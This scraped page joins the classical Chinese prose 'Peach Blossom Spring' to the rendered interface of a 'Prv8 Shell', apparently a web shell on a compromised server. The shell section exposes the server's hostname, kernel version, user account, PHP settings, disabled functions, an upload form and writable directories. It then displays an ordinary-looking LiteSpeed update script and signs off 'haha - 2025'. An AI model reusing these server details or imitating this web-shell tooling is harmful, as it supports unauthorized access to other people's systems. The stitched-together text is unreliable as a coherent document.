晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/local/lsws/admin/misc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lsws/admin/misc/lsup6.sh
CURDIR=`dirname "$0"`
cd $CURDIR
CURDIR=`pwd`
LSWSHOME=`dirname $CURDIR`
LSWSHOME=`dirname $LSWSHOME`

display_usage()
{
    cat <<EOF
Usage: lsup.sh [-s] [-f] [-v VERSION] [-b BUILD_NUMBER]
  
  -f 
     Force reinstall. If -f is not given and same version already installed, this upgrade command is aborted. With -f option, latest build will be downloaded and installed even within same release version.

  -v VERSION
     If VERSION is given, this command will try to install specified VERSION. Otherwise, it will get the latest version from $LSWSHOME/autoupdate/release.

  -b BUILD_NUMBER
     Explicitily set the build number, it can be used to downgrade to an older build.

  -s
     Comunicate with server using HTTPS instead of HTTP.

  -w
     Do not run wswatch.sh

  --help     display this help and exit

EOF
    exit 1
}

FORCED=N
VERSION=x
BUILD=
DEBUG=0
HTTPS=s
NO_WSWATCH=0
while [ "x$1" != "x" ] 
do
    if [ "x$1" = "x-d" ] ; then
        DEBUG=1
    elif [ "x$1" = "x-f" ] ; then
        FORCED=Y
    elif [ "x$1" = "x-s" ] ; then
        HTTPS=s
    elif [ "x$1" = "x-w" ] ; then
        NO_WSWATCH=1
    elif [ "x$1" = "--help" ] ; then
        display_usage
    elif [ "x$1" = "x-v" ] ; then
        shift
        VERSION=$1
        if [ "x$VERSION" = "x" ] ; then
            display_usage
        fi
    elif [ "x$1" = "x-b" ] ; then
        shift
        BUILD="$1"
        if [ "x$BUILD" = "x" ] ; then
            display_usage
        fi
    else
        display_usage
    fi
    shift;
done


# detect download method
OS=`uname -s`
DLCMD=x
if [ "x$OS" = "xFreeBSD" ] ; then
    DL=`which fetch`
    if [ $? -eq 0 ] ; then
    DLCMD="$DL -o"
    fi
fi
if [ "$DLCMD" = "x" ] ; then
    DL=`which wget`
    if [ $? -eq 0 ] ; then
    DLCMD="$DL -nv -O"
    fi
fi
if [ "$DLCMD" = "x" ] ; then
    DL=`which curl`
    if [ $? -eq 0 ] ; then
    DLCMD="$DL -L -o"
    fi
fi
if [ "$DLCMD" = "x" ] ; then
    echo "[ERROR] Fail to detect proper download method"
    exit 1
fi

CURVERSION=`cat $LSWSHOME/VERSION`
CURBUILD=`cat $LSWSHOME/BUILD.$CURVERSION`
echo "Installed '$CURVERSION build $CURBUILD'"

# check stable release
LATEST_URL="http$HTTPS://update.litespeedtech.com/ws/latest.php"
$DLCMD "$LSWSHOME/autoupdate/latest" $LATEST_URL
LSWS_STABLE_LINE=`cat "$LSWSHOME/autoupdate/latest" | grep LSWS_STABLE`
LSWS_STABLE_VER=`expr "$LSWS_STABLE_LINE" : '.*LSWS_STABLE=\(.*\) BUILD .*'`
LSWS_STABLE_BUILD=`expr "$LSWS_STABLE_LINE" : '.*LSWS_STABLE=.* BUILD \(.*\)'`

if [ "x$CURVERSION" = "x$LSWS_STABLE_VER" ] && [ "x$CURBUILD" = "x$LSWS_STABLE_BUILD" ]; then
    touch "$LSWSHOME/autoupdate/follow_stable"
fi
if [ $VERSION = "x" ] && [ "$FORCED" = "N" ] ; then
    if [ "x$CURVERSION" = "x$LSWS_STABLE_VER" ] && [ "x$CURBUILD" = "x$LSWS_STABLE_BUILD" ]; then
        echo "Latest STABLE release has been installed. No update."
        exit 0
    fi

    if [ -f "$LSWSHOME/autoupdate/follow_stable" ]; then
        VERSION=$LSWS_STABLE_VER
        BUILD=$LSWS_STABLE_BUILD
        echo "Follow STABLE release '$LSWS_STABLE_VER build $LSWS_STABLE_BUILD'"
    else
        echo "Was not following STABLE releases, abort."
        echo "To start following STABLE release, run"
        echo "  lsup.sh -f -v $LSWS_STABLE_VER -b $LSWS_STABLE_BUILD"
        exit 2
    fi
fi

# check latest release
$LSWSHOME/bin/lshttpd -U

if [ ! -f "$LSWSHOME/autoupdate/release" ] ; then
    echo "[ERROR] Fail to locate file $LSWSHOME/autoupdate/release"
    exit 1
fi

if [ ! -f "$LSWSHOME/autoupdate/platform" ] ; then
    echo "[ERROR] Fail to locate file $LSWSHOME/autoupdate/platform"
    exit 1
fi

RELEASE=`cat $LSWSHOME/autoupdate/release`
PLATFORM=`cat $LSWSHOME/autoupdate/platform`
EDITION=`expr $RELEASE : '.*-\(.*\)'`
if [ $VERSION = "x" ] ; then
    VERSION=`expr $RELEASE : '\(.*\)-'`
else
    RELEASE="$VERSION-$EDITION"
fi

FILENAME="lsws-$RELEASE-$PLATFORM.tar.gz"
if [ -e "$LSWSHOME/autoupdate/$FILENAME" ] ; then
    /bin/rm -f "$LSWSHOME/autoupdate/$FILENAME"
fi

MAJOR_VERSION=`expr $VERSION : '\([0-9]*\)\..*'`
 
if [ $DEBUG =  '1' ]; then
    DOWNLOAD_URL="http$HTTPS://www.litespeedtech.com/packages/dbg/lsws-$RELEASE-$PLATFORM-dbg.tar.gz"
else
    DOWNLOAD_URL="http$HTTPS://www.litespeedtech.com/packages/$MAJOR_VERSION.0/$FILENAME"

    if [ "x$BUILD" =  'x' ]; then
        echo "Query latest build of $FILENAME"
        BUILD_URL=$DOWNLOAD_URL.lastbuild
        $DLCMD "$LSWSHOME/autoupdate/build" $BUILD_URL
        BUILD=`cat "$LSWSHOME/autoupdate/build"`
    fi
    if [ "x$BUILD" != 'x' ]; then
        if [ "$VERSION" = "$CURVERSION" ] && [ "x$CURBUILD" = "x$BUILD" ] && [ "$FORCED" = "N" ] ; then
            echo "Package $VERSION BUILD $CURBUILD already installed. If need to do force reinstall, please use option -f"
            exit 1
        fi
        echo "Download Build [$BUILD]."
    fi
    DOWNLOAD_URL="$DOWNLOAD_URL.$BUILD"
fi 

echo "$DLCMD $LSWSHOME/autoupdate/$FILENAME $DOWNLOAD_URL"

$DLCMD "$LSWSHOME/autoupdate/$FILENAME" $DOWNLOAD_URL

if [ $? != 0 ]; then
    echo "[ERROR] Failed to download $DOWNLOAD_URL"
    exit 2
fi

if [ "x$VERSION" = "x$LSWS_STABLE_VER" ] && [ "x$BUILD" = "x$LSWS_STABLE_BUILD" ]; then
    if [ ! -f "$LSWSHOME/autoupdate/follow_stable" ]; then
        echo "Start to follow STABLE releases."
        touch "$LSWSHOME/autoupdate/follow_stable"
    fi
elif [ -f "$LSWSHOME/autoupdate/follow_stable" ]; then
    echo "Diverted from STABLE releases."
    rm "$LSWSHOME/autoupdate/follow_stable"
fi

echo "$LSWSHOME/admin/misc/update.sh $VERSION $EDITION $PLATFORM"
$LSWSHOME/admin/misc/update.sh $VERSION $EDITION $PLATFORM
if [ $? != 0 ]; then
    echo "[ERROR] Failed to update to '$CURVERSION build $CURBUILD'"
    exit 3
fi

echo "Restarting LSWS"
$LSWSHOME/bin/lswsctrl fullrestart
echo "Done"

haha - 2025